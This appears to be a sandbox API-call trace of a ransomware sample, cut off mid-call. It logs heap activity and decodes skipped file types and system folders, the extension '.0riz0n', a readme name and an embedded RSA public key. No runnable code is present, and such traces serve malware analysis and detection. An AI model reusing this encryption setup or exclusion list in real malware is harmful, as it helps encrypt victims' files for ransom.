RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.386] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d2d8) returned 1 [0140.386] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d5e8) returned 1 [0140.386] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2162850) returned 1 [0140.386] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x2800) returned 0x2162850 [0140.386] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.386] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.386] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.386] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x10) returned 0x226d5e8 [0140.386] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d2d8 [0140.386] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c1f8 [0140.386] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.386] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d2c8 [0140.386] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.386] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x10) returned 0x226d600 [0140.386] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d2b8 [0140.386] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c1b0 [0140.386] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d2a8 [0140.386] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c168 [0140.386] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c1f8) returned 1 [0140.386] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d2d8) returned 1 [0140.386] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.386] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d2c8) returned 1 [0140.386] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d5e8) returned 1 [0140.386] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.386] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.386] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.386] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.386] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x10) returned 0x226d5e8 [0140.386] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d2c8 [0140.386] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.386] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d2d8 [0140.386] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c1f8 [0140.386] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c1b0) returned 1 [0140.386] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d2b8) returned 1 [0140.386] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c168) returned 1 [0140.387] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d2a8) returned 1 [0140.387] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d600) returned 1 [0140.387] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x10) returned 0x226d600 [0140.387] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d2a8 [0140.387] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c168 [0140.387] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d2b8 [0140.387] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c1b0 [0140.387] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.387] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d2c8) returned 1 [0140.387] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c1f8) returned 1 [0140.387] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d2d8) returned 1 [0140.387] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d5e8) returned 1 [0140.387] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x10) returned 0x226d5e8 [0140.387] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d2d8 [0140.387] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c1f8 [0140.387] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d2c8 [0140.387] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.387] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c168) returned 1 [0140.387] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d2a8) returned 1 [0140.387] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c1b0) returned 1 [0140.387] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d2b8) returned 1 [0140.387] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d600) returned 1 [0140.387] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2162850) returned 1 [0140.387] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x226c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0140.387] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226d9d0 [0140.387] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x226c1f8, cbMultiByte=5, lpWideCharStr=0x226d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0140.387] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226da58 [0140.387] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d9d0) returned 1 [0140.387] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x10) returned 0x226d600 [0140.387] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d2b8 [0140.387] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226d9d0 [0140.387] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226da58) returned 1 [0140.387] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x226c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0140.387] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226da58 [0140.387] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x226c288, cbMultiByte=5, lpWideCharStr=0x226da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0140.387] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226dae0 [0140.388] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226da58) returned 1 [0140.388] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d2a8 [0140.388] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226da58 [0140.388] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226dae0) returned 1 [0140.388] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c1f8) returned 1 [0140.388] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d2d8) returned 1 [0140.388] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.388] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d2c8) returned 1 [0140.388] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d5e8) returned 1 [0140.388] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x2800) returned 0x2162850 [0140.388] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.388] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.388] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.388] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x10) returned 0x226d5e8 [0140.388] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d2c8 [0140.388] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c1f8 [0140.388] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.388] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.388] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d2d8 [0140.388] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c1b0 [0140.388] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.388] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.388] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d298 [0140.388] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c168 [0140.388] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.388] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.388] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d288 [0140.388] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.388] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.388] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.388] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x20) returned 0x226bc08 [0140.388] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d5e8) returned 1 [0140.388] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d278 [0140.388] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c240 [0140.388] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.388] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.388] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d268 [0140.389] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0140.389] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.389] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d258 [0140.389] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.389] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x20) returned 0x2165058 [0140.389] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d248 [0140.389] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c5e8 [0140.389] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d238 [0140.389] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c630 [0140.389] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d228 [0140.389] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c678 [0140.389] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d218 [0140.389] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c6c0 [0140.389] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d208 [0140.389] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c708 [0140.389] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d1e8 [0140.389] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c750 [0140.389] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d1f8 [0140.389] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c798 [0140.389] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c1f8) returned 1 [0140.389] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d2c8) returned 1 [0140.389] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c1b0) returned 1 [0140.389] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d2d8) returned 1 [0140.389] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c168) returned 1 [0140.389] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d298) returned 1 [0140.389] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.389] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d288) returned 1 [0140.389] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c240) returned 1 [0140.389] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d278) returned 1 [0140.389] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c0d8) returned 1 [0140.389] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d268) returned 1 [0140.389] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.389] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d258) returned 1 [0140.389] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226bc08) returned 1 [0140.389] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.389] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.389] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.389] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.390] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.390] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.390] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.390] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.390] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.390] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.390] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.390] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.390] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.390] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.390] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x10) returned 0x226d5e8 [0140.390] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d258 [0140.390] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.390] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d268 [0140.390] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c0d8 [0140.390] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d278 [0140.390] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c240 [0140.390] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d288 [0140.390] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.390] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x20) returned 0x226bc08 [0140.390] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d5e8) returned 1 [0140.390] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d298 [0140.390] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c168 [0140.390] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d2d8 [0140.390] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c1b0 [0140.390] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x8) returned 0x226d2c8 [0140.390] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c1f8 [0140.390] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c5e8) returned 1 [0140.390] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d248) returned 1 [0140.390] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c630) returned 1 [0140.390] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d238) returned 1 [0140.390] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c678) returned 1 [0140.390] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d228) returned 1 [0140.390] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c6c0) returned 1 [0140.390] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d218) returned 1 [0140.390] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c708) returned 1 [0140.390] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d208) returned 1 [0140.390] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c750) returned 1 [0140.391] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d1e8) returned 1 [0140.391] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c798) returned 1 [0140.391] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226d1f8) returned 1 [0140.391] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2165058) returned 1 [0140.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x226c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0140.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x226c1f8, cbMultiByte=25, lpWideCharStr=0x226dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0140.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x226c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0140.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x226c1b0, cbMultiByte=12, lpWideCharStr=0x226db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0140.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x226c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0140.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x226c168, cbMultiByte=8, lpWideCharStr=0x226dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0140.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x226c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0140.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x226c120, cbMultiByte=6, lpWideCharStr=0x226dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0140.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x226c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0140.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x226c240, cbMultiByte=11, lpWideCharStr=0x226dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0140.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x226c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0140.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x226c0d8, cbMultiByte=7, lpWideCharStr=0x226deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0140.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x226c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0140.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x226c288, cbMultiByte=11, lpWideCharStr=0x226df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0140.391] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x2162850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0140.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2162850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0140.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2162850, cbMultiByte=14, lpWideCharStr=0x226dfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0140.392] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x2162850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0140.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2162850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0140.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2162850, cbMultiByte=10, lpWideCharStr=0x226e048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0140.392] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x2162850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0140.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2162850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0140.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2162850, cbMultiByte=15, lpWideCharStr=0x226e0d0, cchWideChar=15 | out: lpWideCharStr="C:\\Windows\\TEMP") returned 15 [0140.392] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x2162850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0140.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2162850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0140.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2162850, cbMultiByte=56, lpWideCharStr=0x226e158, cchWideChar=56 | out: lpWideCharStr="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 56 [0140.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2165058, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0140.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2165058, cbMultiByte=7, lpWideCharStr=0x226e1e0, cchWideChar=7 | out: lpWideCharStr=".0riz0n") returned 7 [0140.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2165058, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0140.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2165058, cbMultiByte=14, lpWideCharStr=0x226e268, cchWideChar=14 | out: lpWideCharStr=".0riz0n_readme") returned 14 [0140.393] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0140.393] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x20f71c, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x20f71c, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0140.393] CryptStringToBinaryA (in: 